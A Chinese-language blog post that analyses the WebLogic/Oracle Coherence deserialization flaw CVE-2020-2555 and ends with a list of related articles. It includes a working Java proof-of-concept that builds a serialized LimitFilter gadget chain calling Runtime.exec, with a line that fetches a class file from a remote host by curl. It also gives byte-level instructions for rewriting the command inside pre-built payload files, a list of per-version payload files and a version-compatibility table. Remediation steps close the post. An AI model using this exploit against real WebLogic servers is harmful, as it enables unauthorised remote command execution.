背景

在2020年1月,互联网上爆出了Weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件 Oracle Coherence 存在缺陷,攻击者可利用该漏洞在未经授权下通过构造T3协议请求,获取 Weblogic 服务器权限,执行任意命令,风险较大。

漏洞信息曝光之后,互联网中发布几篇该漏洞相关的分析文章以及利用 POC,但公布的 POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在:

1 目前所有的利用工具都是通过动态编译进行生产 POC 文件而且必须要有 java 环境。

2. 公布的 POC 只是针对单独一个版本有效,无法适应多个 Weblogic 版本。

漏洞影响情况:

  • Oracle Coherence 3.7.1.17
  • Oracle Coherence & Weblogic 12.1.3.0.0
  • Oracle Coherence & Weblogic 12.2.1.3.0
  • Oracle Coherence & Weblogic 12.2.1.4.0

通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),通过调试发现该版本默认并未启用 Coherence,所以 Weblogic 10.3.6.0 不在受影响范围内。

注:

1. 经过大量的测试,我们的 POC 可稳定运行在多个操作系统、多个 weblogic 版本、多个 JDK 版本中。

2. 以上测试及分析环境全部基于内部环境。

漏洞调试分析

本文基于 Weblogic 12.1.3 版本进行研究分析测试。

调试

修改目录 user_project/domains/bin 目录中 setDomainEnv.cmd 或者 setDomainEnv.sh 文件,加if %debugFlag == "false"% 之前加入 set debugFlag=true

拷贝 Oracle_Home 目录下所有文件至调试目录,并且 coherence\lib 添加 Libraries

配置 Remote 方式进行远程调试, ip 设置为开启 set debugFlag=true 的服务器 IP, 端口为 8453 :

漏洞利用

该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString 方法内部可通过 m_comparator 和 m_oAnchorTop 可自定义进行设置,形成利用链条导致漏洞的发生,以下为整个利用链条:

Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()LimitFilter.toString()ChainedExtractor.extract()ReflectionExtractor.extract()Method.invoke()Class.getMethod()ReflectionExtractor.extract()Method.invoke()Runtime.getRuntime()ReflectionExtractor.extract()Method.invoke()Runtime.exec()

通过利用利用链条,可以基于 ysoserial 中的 CommonsCollections5 进行构造利用 POC:

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {String cmd = "curl http://10.10.10.172:9999/Poc.class";cmd = "calc";ValueExtractor[] valueExtractors = new ValueExtractor[]{new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
//                new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})};// chainLimitFilter limitFilter = new LimitFilter();limitFilter.setTopAnchor(Runtime.class);BadAttributeValueExpException expException = new BadAttributeValueExpException(null);Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");m_comparator.setAccessible(true);m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");m_oAnchorTop.setAccessible(true);m_oAnchorTop.set(limitFilter, Runtime.class);Field val = expException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(expException, limitFilter);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/0nise/IdeaProjects/vuldebug/cve-2020-2555/src/main/java/122130_linux_calc.666"));objectOutputStream.writeObject(expException);objectOutputStream.close();}

漏洞分析

该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString 触发,通过跟踪我们可以看到 m_oAnchorTop 为 classs java.lang.Runtime , 以及 m_comparator 为 ValueExtractor 接口的 ChainedExtractor 实现。

核心通过 extractor.extract 进行触发,跟踪代码会跳入 com.tangosol.util.extractor.ChainedExtractor#extract ,并且将每次执行结果作为参数,通过 aExtractor[i].extract(oTarget) 进行执行,第一次 oTarget 参数值为 class java.lang.Runtime

跟踪进入 aExtractor[i].extract(oTarget) 会跳入 com.tangosol.util.extractor.ReflectionExtractor#extract ,最后通过 method.invoke 反射执行,也就是说开始执行 java.lang.Runtime.getRuntime,最后讲执行的结果进行 return,类型为 java.lang.Runtime,所以整个方法执行的代码为 java.lang.Runtime.class.getMethod("getRuntime",new Class[0]);

第二次将java.lang.Runtime.getRuntime (也就是 java.lang.Runtime) 作为 oTarget 参数值进行传入执行
进行循环 method.invoke,反射执行 invoke ,最终执行代码为
java.lang.Runtime.class.getMethod("getRuntime",new Class[0]).invoke(null, new Object[0]) ,最后执行完毕结果为 java.lang.Runtime 类,并且将 return 提供下次进行调用执行。



最后通过 java.lang.Runtime.exec 进行反射执行命令,最终执行的代码为 runtime.exec(new String[]{"cmd", "/c", "notepad"}) 达到执行命令的目的,弹出记事本。

weblogic 10.3.6

weblogic 10.3.6 版本默认自带 coherence_3.7 ,但通过 Debug 调试发现 weblogic 10.3.6 并未启用 coherence_3.7 所以无法针对 weblogic 10.3.6 进行测试,但 coherence_3.7 版本中 com.tangosol.util.filter.LimitFilter#toString 漏洞仍然存在,所以 coherence 3.7 版本存在漏洞但 weblogic 10.3.6 默认情况下不存在该漏洞。

不足之处

经过分析发现 POC 很多不足之处,导致漏洞检测效率变低,同时无法进行通过其他语言开发调用。

动态序列化问题

如果 POC 用于非 java 语言开发的扫描框架时,是非常麻烦的要么是将代码集成 ysoserial 然后通过进程调用的方式动态生成序列化文件,但该方法会不断的通过进程调用执行代码,会造成很大的资源开销。除了使用这种方法之外还可以通过加载以前的 POC 进行二进制读取并且替换代码重新生成序列化文件。

通过研究分析发现,修改参数内容时变动的内容主要为 13 5B 4C 6A 61 76 61 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56 E7 E9 1D 7B 47 02 00 00 78 70 00 00 00 03 74 00 字节至 00 04 65 78 65 63 70 70 76 72 00 11 6A 61 76 61 2E 6C 61 6E 67 2E 52 75 6E 74 69 6D 65 00 00 00 00 00 00 00 00 00 00 00 78 70 的内容信息,其中左图的参数为 new String[]{"cmd", "/c", "notepad"},右图的参数为 new String[]{"cmd", "/c", "calc"}

通过分析相同 weblogic 版本中通过 coherence.jar 生成的 payload,比对其中差异发现参数构造的方式为:每个参数的长度转换为 16 进制,占用 2 个字节,不足用 0 补足 + 每个参数值的 Hex 码 + ( 70 weblogic 12.2.1.3.0 版本最后一位参数 ) +74 (作者理解为标识符),所以转换对应情况如下:

new String[]{"cmd", "/c", "notepad"} ( weblogic 12.2.1.3.0,需要加 70 其他版本不需要)对应的转换情况为:

00 03 63 6D 64 74 00 02 2F 63 74 00 07 6E 6F 74 65 70 61 64  70 74
00 03  = "cmd".length()
63 6D 64 = "cmd"
74
00 02 = "/c".length()2F 63 = "/c"
74
00 07 = "notepad".length()
6E 6F 74 65 70 61 64 = "notepad"
70
74

new String[]{"cmd", "/c", "calc"} ( weblogic 12.2.1.3.0,需要加 70 其他版本不需要)对应的转换情况为:

00 03 63 6D 64 74 00 02 2F 63 74 00 04 63 61 6C 63 70 74
00 03  = "cmd".length()
63 6D 64 = "cmd"
74
00 02 = "/c".length()2F 63 = "/c"
74
00 04 = "calc".length()
63 61 6C 63  = "calc"
70
74

了解了参数变动的规律以及对应的字节码,我们就可以基于该方式进行动态构建序列化文件。

测试中使用的各个版本生产 POC 序列化文件存放在 CVE-2020-2555 file 目录中。

版本 文件名 描述 操作系统
12.1.3.0.0 121300_calc.666 calc Windows
12.1.3.0.0 121300_notepad.666 notepad Windows
12.1.3.0.0 121300_ping.666 ping Windows
12.1.3.0.0 121300.666 calc Windows
12.2.1.3.0 122130_calc.666 calc Windows
12.2.1.3.0 122130_linux_calc.666 calc Linux
12.2.1.3.0 122130_linux_curl.666 curl Linux
12.2.1.3.0 122130_notepad.666 notepad Windows
12.2.1.3.0 122130.666 calc Windows
12.2.1.4.0 122140_calc.666 calc Windows
12.2.1.4.0 122140_linux_calc.666 calc Linux
12.2.1.4.0 122140_linux_curl.666 curl Linux
12.2.1.4.0 122140_notepad.666 notepad Windows
12.2.1.4.0 122140.666 calc Windows

Coherence 版本问题

在研究测试时,通过某一个 Coherence 版本生成的序列化文件,无法适用于多个版本,以下为多版本的详细测试情况:

poc 生成版本 测试版本 是否成功
12.1.3.0.0 12.1.3.0.0
12.1.3.0.0 12.2.1.3.0
12.1.3.0.0 12.2.1.4.0
12.2.1.3.0 12.1.3.0.0
12.2.1.3.0 12.2.1.3.0
12.2.1.3.0 12.2.1.4.0
12.2.1.4.0 12.1.3.0.0
12.2.1.4.0 12.2.1.3.0
12.2.1.4.0 12.2.1.4.0

可以发现一个 POC 无法适用于多版本的 weblogic 中,针对该情况可以基于 weblogic 序列化文件转换为字节码结合动态序列化技术处理,来达到兼容多个版本的目的。

Weblogic 的问题

截止 2020 年 3 月 4 日,通过 Oracle 官方进行下载 weblogic 时,通过研究发现该漏洞依然存在可以利用(所有受影响版本),需要额外安装补丁。

如下文件为下文件MD5值以及下载时间:

文件名称 MD5 创建时间
fmw_12.1.3.0.0_wls.jar 8378FE936B476A6F4CA5EFA465A435E3 ‎2020‎-03‎-04‎
fmw_12.2.1.3.0_wls.jar 6E7105521029058AD64A5C6198DB09F7 ‎2017-08‎-21‎
fmw_12.2.1.4.0_wls.jar AA090712069684991BA27E4DE9ED3FF6 ‎2019-09‎-13‎
coherence.jar(12.1.3.0.0) E807E84D352374E33D0E2A8CC649534A 2014-05-14
coherence.jar(12.2.1.3.0) 2302E408BCA7C6A82081A20CE0811B0E 2017-08-15
coherence.jar(12.2.1.4.0) B28EE46B9B9BD5C24DF3BFEE10075BA4 2019-09-12

建议目前已经安装最新版 weblogic 的管理员也需排查该漏洞,如有漏洞建议立即安装补丁或通过修复方案进行修复,防止被不法分子利用。

修复

  1. 临时解决方案:禁用 weblogic T3 协议。
  2. 安装 Oracle 更新补丁,需要登录帐户后下载。

漫谈 Weblogic CVE-2020-2555相关推荐

  1. 什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball,为何如此危险

    什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...

  2. 再探SSRF服务器请求伪造(weblogic cve ssrf redis未授权)

    攻击Redis 漏洞环境 复现环境使用vulhup weblogic ssrf 地址:https://vulhub.org/#/environments/weblogic/ssrf/ vulhub使用 ...

  3. 腾讯安全发布《2020年公有云安全报告》,重点剖析8大主流安全风险

    产业互联网的升级换代,也同时带来网络安全的巨大变化.传统威胁是在客户端.企业私有云环境,随着业务上云,安全风险也随之上云.比如,以往传统认为linux系统没有恶意软件不需要安全软件,在产业互联网普及的 ...

  4. 学习笔记-B/S - Exploits

    B/S - Exploits 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲 各类论坛/CMS框架 AEM 74CMS dedeC ...

  5. 网络安全之路:我的系统性渗透测试学习框架

    没有兴趣,何来成就,难道就只是为了咕噜猫?hahaha(听不懂吧,没关系,只是因为加密了,你能从我的笔记中找到答案么嘿嘿嘿嘿!!!) 注意:以下内容仅记录本人当时学习时任然不知的相关知识.笔记草率,可 ...

  6. ATTCK红队评估实战靶场(二)

    前言 第二个靶机来喽,地址:vulunstack 环境配置 大喊一声我淦!!!!! 配个网络配置弄了半天 配置信息 DC IP:10.10.10.10 OS:Windows 2012(64) 应用:A ...

  7. 渗透测试 ( 3 ) --- Metasploit Framework ( MSF )

    白嫖 :https://zhuanlan.zhihu.com/p/449836479 :http://t.zoukankan.com/hxlinux-p-15787814.html :https:// ...

  8. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  9. java少女18_java_bean XMLDecoder

    一.前言 上一篇跟完了java.io.ObjectInputStream的内部逻辑,今天来看下java.bean XMLDecoder.弱弱说,有点水,跟到后面懒得跟了23333333 二.准备 id ...

最新文章

  1. POJ - 2337 Catenyms 欧拉回路
  2. nstruts2.0发布前奏---浅谈struts和依赖注入在项目中的应用
  3. 剑指offer 求1+2+3+...+n
  4. Codeforces Round #702 (Div. 3)解题报告
  5. Selenium-几种操作
  6. MySQL工作笔记-解决导入外部sql中文乱码问题
  7. Maven Install报错:Perhaps you are running on a JRE rather than a JDK
  8. 一个虚拟社交公司的融资历程
  9. php递归返回值只有第一次的结果,php递归函数出现返回值问题的解决
  10. 信息系统项目管理师论文写作技巧
  11. 瑞利衰落信道matlab,瑞利衰落信道的matlab仿真-read.doc
  12. html代码在线高亮美化,代码语法高亮美化显示插件CodeMirror
  13. python scipy 密度函数 分位数 累计函数计算p值 卡方检验 t检验 F检验 假设检验 AB实验 显著性检验
  14. 中柏平板bios对照表_BIOS详解及中英文对照表
  15. springboot聚合工程打包报错Compilation failure浅析
  16. css3软键盘不盖住输入框的方法
  17. Android的消息循环机制:Handler
  18. USB2.0一致性测试方法_高速示波器
  19. linux常用命令-查询手册
  20. Unity编辑器扩展——编辑器样式预览窗口

热门文章

  1. 柏堰工业园有做机器人的吗_合肥柏堰科技园推进机器人应用 促产业转型升级...
  2. datatable数据插入mysql_DataTable 数据更新、删除、插入 数据库 操作
  3. yl335b分拣站单元流程图_选择单元化物流容器的必要性
  4. 5G NR — Open vRAN 的组织单位
  5. 5G NGC — BSF 会话绑定支持功能
  6. Linux_LAMP 最强大的动态网站解决方案
  7. NanoPi NEO Air使用十五:使用V4L2驱动USB摄像头
  8. 韦东山 文件系统映像,mount挂接文件系统
  9. 算法(第四版)之快速排序
  10. 一起学并发编程 - sleep与wait的差异